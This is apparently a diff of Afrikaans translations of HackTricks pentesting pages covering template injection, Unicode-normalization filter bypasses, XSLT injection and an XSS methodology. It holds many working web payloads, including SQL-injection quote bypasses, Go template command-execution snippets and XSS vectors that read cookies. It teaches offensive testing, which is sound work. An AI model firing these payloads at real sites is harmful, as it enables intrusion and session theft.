#Hide warnings and errors for automatic exploitation
|
||||
{{["error_reporting", "0"]|sort("ini_set")}}
|
||||
```
|
||||
**Twig - Sjabloon formaat**
|
||||
**Twig - Sjabloonformaat**
|
||||
```php
|
||||
$output = $twig > render (
|
||||
'Dear' . $_GET['custom_greeting'],
|
||||
@ -501,7 +498,7 @@ Blad sjabloon:
|
||||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
Layout sjabloon:
|
||||
Uitleg sjabloon:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
@ -933,7 +930,7 @@ Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige pro
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Alhoewel dit Perl is, gebruik dit etikette soos ERB in Ruby.
|
||||
Alhoewel dit Perl is, gebruik dit merke soos ERB in Ruby.
|
||||
|
||||
- `<%= 7*7 %> = 49`
|
||||
- `<%= foobar %> = Error`
|
||||
@ -947,7 +944,7 @@ In Go se sjabloon enjin kan bevestiging van sy gebruik gedoen word met spesifiek
|
||||
|
||||
- `{{ . }}`: Ontbloot die datastruktuur invoer. Byvoorbeeld, as 'n objek met 'n `Password` attribuut oorgedra word, kan `{{ .Password }}` dit blootstel.
|
||||
- `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon.
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" te retourneer sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie ondersoek word [here](https://golang.org/pkg/text/template).
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" te retourneer sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie ondersoek word [hier](https://golang.org/pkg/text/template).
|
||||
|
||||
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||
|
||||
@ -959,9 +956,9 @@ vbnet Copy code
|
||||
|
||||
**RCE Exploitation**
|
||||
|
||||
RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe om enige publieke funksie direk aan te roep (met die “call” waarde), wat nie toegelaat word in `html/template`. Dokumentasie vir hierdie modules is beskikbaar [here for html/template](https://golang.org/pkg/html/template/) en [here for text/template](https://golang.org/pkg/text/template/).
|
||||
RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe om enige publieke funksie direk aan te roep (met die “call” waarde), wat nie in `html/template` toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar [hier vir html/template](https://golang.org/pkg/html/template/) en [hier vir text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Vir RCE via SSTI in Go, kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos volg uitgebuit word: `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
|
||||
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos volg uitgebuit word: `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
@ -997,9 +994,11 @@ As jy dink dit kan nuttig wees, lees:
|
||||
|
||||
## Brute-Force Opsporing Lys
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
## Oefening & Verwysings
|
||||
## Praktiek & Verwysings
|
||||
|
||||
- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
@ -6,21 +6,21 @@
|
||||
|
||||
## Verstaan van Unicode en Normalisering
|
||||
|
||||
Unicode-normalisering is 'n proses wat verseker dat verskillende binêre verteenwoordigings van karakters gestandaardiseer word na dieselfde binêre waarde. Hierdie proses is van kardinale belang wanneer dit kom by stringe in programmering en dataverwerking. Die Unicode-standaard definieer twee tipes karaktergelykheid:
|
||||
Unicode normalisering is 'n proses wat verseker dat verskillende binêre verteenwoordigings van karakters gestandaardiseer word na dieselfde binêre waarde. Hierdie proses is van kardinale belang wanneer dit kom by stringe in programmering en dataverwerking. Die Unicode standaard definieer twee tipes karaktergelykheid:
|
||||
|
||||
1. **Kanonieke Gelykheid**: Karakters word as kanoniek gelyk beskou as hulle dieselfde voorkoms en betekenis het wanneer dit gedruk of vertoon word.
|
||||
2. **Compatibiliteitsgelykheid**: 'n Swakker vorm van gelykheid waar karakters dieselfde abstrakte karakter kan verteenwoordig, maar anders vertoon kan word.
|
||||
|
||||
Daar is **vier Unicode-normalisering algoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme gebruik kanonieke en kompatibiliteitsnormaliseringstegnieke op 'n ander manier. Vir 'n meer diepgaande begrip kan jy hierdie tegnieke op [Unicode.org](https://unicode.org/) verken.
|
||||
Daar is **vier Unicode normalisering algoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme gebruik kanonieke en compatibiliteitsnormaliseringstegnieke op 'n ander manier. Vir 'n meer diepgaande begrip kan jy hierdie tegnieke op [Unicode.org](https://unicode.org/) verken.
|
||||
|
||||
### Sleutelpunte oor Unicode-kodering
|
||||
### Sleutelpunte oor Unicode Kodering
|
||||
|
||||
Om Unicode-kodering te verstaan, is van kardinale belang, veral wanneer dit kom by interoperabiliteitskwessies tussen verskillende stelsels of tale. Hier is die hoofpunte:
|
||||
Om Unicode kodering te verstaan is van kardinale belang, veral wanneer dit kom by interoperabiliteitskwessies tussen verskillende stelsels of tale. Hier is die hoofpunte:
|
||||
|
||||
- **Kodepunte en Karakters**: In Unicode word elke karakter of simbool 'n numeriese waarde toegeken wat bekend staan as 'n "kodepunt".
|
||||
- **Bytes Verteenwoordiging**: Die kodepunt (of karakter) word deur een of meer bytes in geheue verteenwoordig. Byvoorbeeld, LATIN-1 karakters (algemeen in Engelssprekende lande) word met een byte verteenwoordig. egter, tale met 'n groter stel karakters benodig meer bytes vir verteenwoordiging.
|
||||
- **Kodering**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene koderingstandaard waar ASCII karakters met een byte verteenwoordig word, en tot vier bytes vir ander karakters.
|
||||
- **Verwerking van Data**: Stelsels wat data verwerk, moet bewus wees van die kodering wat gebruik word om die byte-stroom korrek in karakters om te skakel.
|
||||
- **Kodering**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene kodering standaard waar ASCII karakters met een byte verteenwoordig word, en tot vier bytes vir ander karakters.
|
||||
- **Verwerking van Data**: Stelsels wat data verwerk moet bewus wees van die kodering wat gebruik word om die byte-stroom korrek in karakters om te skakel.
|
||||
- **Variantes van UTF**: Benewens UTF-8, is daar ander koderingstandaarde soos UTF-16 (wat 'n minimum van 2 bytes gebruik, tot 4) en UTF-32 (wat 4 bytes vir alle karakters gebruik).
|
||||
|
||||
Dit is van kardinale belang om hierdie konsepte te verstaan om effektief te kan hanteer en potensiële probleme wat uit Unicode se kompleksiteit en sy verskillende koderingmetodes ontstaan, te verminder.
|
||||
@ -41,7 +41,7 @@ Ander **voorbeeld**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%
|
||||
|
||||
### **SQL Injection filter omseiling**
|
||||
|
||||
Stel jou voor 'n webblad wat die karakter `'` gebruik om SQL navrae met die gebruiker se invoer te skep. Hierdie web, as 'n sekuriteitsmaatreël, **verwyder** alle voorkomste van die karakter **`'`** uit die gebruiker se invoer, maar **na daardie verwydering** en **voor die skepping** van die navraag, **normaliseer** dit die gebruiker se invoer met **Unicode**.
|
||||
Stel jou voor 'n webblad wat die karakter `'` gebruik om SQL navrae met die gebruiker se invoer te skep. Hierdie webblad, as 'n sekuriteitsmaatreël, **verwyder** alle voorkomste van die karakter **`'`** uit die gebruiker se invoer, maar **na daardie verwydering** en **voor die skepping** van die navraag, **normaliseer** dit die gebruiker se invoer met **Unicode**.
|
||||
|
||||
Dan kan 'n kwaadwillige gebruiker 'n ander Unicode karakter wat ekwivalent is aan `' (0x27)` soos `%ef%bc%87` invoeg, wanneer die invoer genormaliseer word, word 'n enkele aanhalingsteken geskep en 'n **SQLInjection kwesbaarheid** verskyn:
|
||||
|
||||
@ -73,23 +73,25 @@ Dan kan 'n kwaadwillige gebruiker 'n ander Unicode karakter wat ekwivalent is aa
|
||||
" || 1==1//
|
||||
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
|
||||
```
|
||||
#### sqlmap sjabloon
|
||||
#### sqlmap-sjabloon
|
||||
|
||||
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/sqlmap_to_unicode_template
|
||||
{{#endref}}
|
||||
|
||||
### XSS (Cross Site Scripting)
|
||||
|
||||
Jy kan een van die volgende karakters gebruik om die webapp te mislei en 'n XSS te ontgin:
|
||||
Jy kan een van die volgende karakters gebruik om die webapp te mislei en 'n XSS te benut:
|
||||
|
||||
 (2).png>)
|
||||
|
||||
Let daarop dat die eerste Unicode karakter wat voorgestel word, gestuur kan word as: `%e2%89%ae` of as `%u226e`
|
||||
Let op dat die eerste Unicode-karakter wat voorgestel word, gestuur kan word as: `%e2%89%ae` of as `%u226e`
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
### Fuzzing Regexes
|
||||
|
||||
Wanneer die backend **gebruikersinvoer met 'n regex** nagaan, kan dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit gebruik word nie. Byvoorbeeld, in 'n Open Redirect of SSRF kan die regex die gestuurde URL **normaliseer** maar dan **dit soos dit is** benader.
|
||||
Wanneer die backend **gebruikersinvoer met 'n regex nagaan**, mag dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit **gebruik** word nie. Byvoorbeeld, in 'n Open Redirect of SSRF mag die regex die gestuurde URL **normaliseer** maar dan **dit soos dit is** benader.
|
||||
|
||||
Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* laat jou toe om **variasies van die invoer** te genereer om die backend te fuzz. Vir meer inligting, kyk na die **github** en hierdie [**pos**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# XSLT Bediening Kante Inspuiting (Extensible Stylesheet Language Transformations)
|
||||
# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,7 +14,7 @@ Die raamwerke wat die meeste gebruik word, sluit in:
|
||||
|
||||
Vir die uitbuiting van kwesbaarhede wat met XSLT geassosieer word, is dit nodig dat xsl-tags op die bedienerkant gestoor word, gevolg deur toegang tot daardie inhoud. 'n Voorbeeld van so 'n kwesbaarheid is gedokumenteer in die volgende bron: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||||
|
||||
## Voorbeeld - Handleiding
|
||||
## Voorbeeld - Tutoriaal
|
||||
```bash
|
||||
sudo apt-get install default-jdk
|
||||
sudo apt-get install libsaxonb-java libsaxon-java
|
||||
@ -187,7 +187,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
|
||||
</esi:include>
|
||||
```
|
||||
## Javascript Inspuiting
|
||||
## Javascript-inspuiting
|
||||
```xml
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="/">
|
||||
@ -374,7 +374,9 @@ version="1.0">
|
||||
|
||||
## **Brute-Force Opsporingslys**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
|
||||
{{#endref}}
|
||||
|
||||
## **Verwysings**
|
||||
|
||||
|
@ -2,16 +2,16 @@
|
||||
|
||||
## Metodologie
|
||||
|
||||
1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koptekste_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode.
|
||||
2. **Vind die konteks** waar dit reflekteer/gebruikt word.
|
||||
1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koppe_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode.
|
||||
2. **Vind die konteks** waar dit reflekteer/gebruik word.
|
||||
3. As dit **reflekteer**
|
||||
1. Kontroleer **watter simbole jy kan gebruik** en berei die payload voor, afhangende daarvan:
|
||||
1. Kontroleer **watter simbole kan jy gebruik** en berei die payload voor, afhangende daarvan:
|
||||
1. In **rauwe HTML**:
|
||||
1. Kan jy nuwe HTML-tags skep?
|
||||
2. Kan jy gebeurtenisse of eienskappe gebruik wat die `javascript:` protokol ondersteun?
|
||||
3. Kan jy beskermings omseil?
|
||||
4. Word die HTML-inhoud geïnterpreteer deur enige kliënt-kant JS-enjin (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md) misbruik.
|
||||
5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Merk - HTML scriptless inspuiting**](../dangling-markup-html-scriptless-injection/) misbruik?
|
||||
5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Markup - HTML scriptless inspuiting**](../dangling-markup-html-scriptless-injection/) misbruik?
|
||||
2. Binne 'n **HTML-tag**:
|
||||
1. Kan jy na die rauwe HTML-konteks ontsnap?
|
||||
2. Kan jy nuwe gebeurtenisse/eienskappe skep om JS-kode uit te voer?
|
||||
@ -23,7 +23,7 @@
|
||||
3. Is jou invoer in sjabloon literale \`\`?
|
||||
4. Kan jy beskermings omseil?
|
||||
4. Javascript **funksie** wat **uitgevoer** word
|
||||
1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
|
||||
1. Jy kan die naam van die funksie wat uitgevoer moet word aandui. bv.: `?callback=alert(1)`
|
||||
4. As **gebruik**:
|
||||
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **gecontroleerde invoer deur enige sink gebruik word.**
|
||||
|
||||
@ -37,7 +37,7 @@ debugging-client-side-js.md
|
||||
|
||||
Om suksesvol 'n XSS te misbruik, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat reflekteer** in die webblad.
|
||||
|
||||
- **Intermediêr reflekteer**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n **Reflekteerde XSS** misbruik.
|
||||
- **Intermediair reflekteer**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n **Reflekteerde XSS** misbruik.
|
||||
- **Gestoor en reflekteer**: As jy vind dat 'n waarde wat deur jou beheer word, in die bediener gestoor word en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n **Gestoor XSS** misbruik.
|
||||
- **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word, met JS toegang verkry word, kan jy 'n **DOM XSS** misbruik.
|
||||
|
||||
@ -52,12 +52,12 @@ Hou ook in gedagte [Kliëntkant Sjabloon Inspuiting](../client-side-template-inj
|
||||
|
||||
### Binne HTML-tags eienskap
|
||||
|
||||
As jou invoer reflekteer binne die waarde van die eienskap van 'n tag, kan jy probeer:
|
||||
As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:
|
||||
|
||||
1. Om te **ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
|
||||
1. Om **te ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
|
||||
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
|
||||
3. As jy **nie kan ontsnap van die eienskap nie** (`"` is geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy al die waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy in staat wees om dit arbitrêre kode te laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
4. As jou invoer reflekteer binne "**onuitputbare tags**" kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy in staat wees om dit arbitrêre kode te laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
|
||||
```html
|
||||
@ -69,12 +69,12 @@ Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
|
||||
|
||||
In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut met die **`javascript:`** protokol:
|
||||
|
||||
- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingevoegde `</script>` etiket binne die HTML-kode is nie.
|
||||
- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingevoegde `</script>`-etiket binne die HTML-kode is nie.
|
||||
- As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- As dit weerspieël word binne sjabloonletterlikhede kan jy **JS-uitdrukkings insluit** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- As dit weerspieël word binne sjabloonletterlikhede, kan jy **JS-uitdrukkings insluit** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode-kodering** werk om **geldige javascript-kode** te skryf:
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Universele XSS**
|
||||
|
||||
Hierdie soort XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **lees** **arbitrêre** **lêers** in kliënte en bedieners, en meer.\
|
||||
Hierdie tipe XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\
|
||||
Sommige **voorbeelde**:
|
||||
|
||||
{{#ref}}
|
||||
@ -161,22 +161,22 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Maar, as tags/atribute swart/whitelist gebruik word, sal jy **brute-force watter tags** jy kan skep.\
|
||||
Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force attribuut/gebeurtenisse** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
|
||||
Maar, as tags/attributes swart/blanklysiening gebruik word, sal jy **brute-force watter tags** jy kan skep.\
|
||||
Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force attributes/events** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
|
||||
|
||||
### Tags/Gebeurtenisse brute-force
|
||||
### Tags/Events brute-force
|
||||
|
||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** met die geldige tags (in dieselfde webblad klik op _**Kopieer gebeurtenisse na klembord**_ en volg dieselfde prosedure as voorheen).
|
||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die events** met die geldige tags (in dieselfde webblad klik op _**Kopieer events na klembord**_ en volg dieselfde prosedure as voorheen).
|
||||
|
||||
### Pasgemaakte tags
|
||||
### Aangepaste tags
|
||||
|
||||
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **pasgemaakte tag** te **skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
|
||||
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **aangepaste tag te skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Swartlys Bypasses
|
||||
|
||||
As 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
|
||||
As 'n soort swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -234,16 +234,16 @@ onerror=alert`1`
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Die laaste een gebruik 2 unicode karakters wat uitbrei na 5: telsr\
|
||||
Meer van hierdie karakters kan gevind word [hier](https://www.unicode.org/charts/normalization/).\
|
||||
Om te kyk in watter karakters ontbind word, kyk [hier](https://www.compart.com/en/unicode/U+2121).
|
||||
Meer van hierdie karakters kan [hier](https://www.unicode.org/charts/normalization/) gevind word.\
|
||||
Om te kyk in watter karakters ontbind is, kyk [hier](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Klik XSS - Clickjacking
|
||||
|
||||
As jy om die kwesbaarheid te benut, die **gebruiker moet 'n skakel of 'n vorm** met voorafgevulde data klik, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
|
||||
As jy die kwesbaarheid wil benut en jy moet die **gebruiker 'n skakel of 'n vorm laat klik** met voorafgevulde data, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
|
||||
|
||||
### Onmoontlik - Hangende Markup
|
||||
|
||||
As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Hangende Markup**](../dangling-markup-html-scriptless-injection/) kyk, want jy kan die kwesbaarheid **benut** **sonder** om **JS**-kode uit te voer.
|
||||
As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Hangende Markup**](../dangling-markup-html-scriptless-injection/) nagaan omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer.
|
||||
|
||||
## Invoeging binne HTML-tag
|
||||
|
||||
@ -255,7 +255,7 @@ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag s
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
```
|
||||
**Stylingsgebeurtenisse**
|
||||
**Stylingsgebeure**
|
||||
```python
|
||||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
||||
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
||||
@ -265,14 +265,14 @@ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag s
|
||||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### Binnen die attribuut
|
||||
### Binne die attribuut
|
||||
|
||||
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde in **reflekteer of jy al die waarde of net 'n deel daarvan beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer van arbitrêre kode wanneer dit geklik word.\
|
||||
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde in **reflekteer of jy al die waarde of net 'n deel daarvan beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer willekeurige kode wanneer dit geklik word.\
|
||||
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om willekeurige kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Omseil binne gebeurtenis met HTML-kodering/URL-kodering**
|
||||
|
||||
Die **HTML-gekodeerde karakters** binne die waarde van HTML-tags se attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vetgedruk): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Gaan Terug </a>`
|
||||
Die **HTML gekodeerde karakters** binne die waarde van HTML-tags attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vetgedruk): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Gaan Terug </a>`
|
||||
|
||||
Let daarop dat **enige soort HTML-kodering geldig is**:
|
||||
```javascript
|
||||
@ -303,7 +303,7 @@ Let daarop dat **enige soort HTML-kodering geldig is**:
|
||||
```
|
||||
### Spesiale Protokolle Binnen die attribuut
|
||||
|
||||
Daar kan jy die protokolle **`javascript:`** of **`data:`** in sommige plekke gebruik om **arbitraire JS kode** uit te voer. Sommige sal gebruikersinteraksie vereis en sommige nie.
|
||||
Daar kan jy die protokolle **`javascript:`** of **`data:`** in sommige plekke gebruik om **arbitraire JS-kode** uit te voer. Sommige sal gebruikersinteraksie vereis en sommige nie.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -351,7 +351,7 @@ _**In hierdie geval is die HTML-kodering en die Unicode-kodering truuk van die v
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
